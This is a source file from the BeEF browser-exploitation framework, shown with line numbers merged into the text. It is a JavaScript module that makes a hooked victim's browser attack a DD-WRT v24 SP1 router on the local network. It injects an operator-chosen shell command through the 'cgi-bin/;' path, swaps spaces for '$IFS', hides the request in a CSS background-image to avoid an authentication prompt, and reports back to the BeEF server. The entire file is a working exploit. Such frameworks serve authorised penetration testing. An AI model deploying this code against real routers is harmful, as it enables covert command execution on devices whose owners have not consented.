Path: blob/master/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var host = '<%= @host %>';8var cmd = '<%= @cmd %>';9var path = 'cgi-bin/;';1011if (!host.match(/\/$/))12host += '/';1314if (cmd.indexOf(' ') != -1)15cmd = cmd.replace(/\s+/g, '$IFS');1617// Prevent auth dialog by generating the request via a CSS URL instead of an invisible iframe.18var ddwrt_div_<%= @command_id %> = document.createElement('div');19ddwrt_div_<%= @command_id %>.setAttribute('style', 'background-image: url("' + host + path + cmd + '")');20document.body.appendChild(ddwrt_div_<%= @command_id %>);2122beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=exploit attempted');2324setTimeout(function() { document.body.removeChild(ddwrt_div_<%= @command_id %>) }, 15 * 1000);25});262728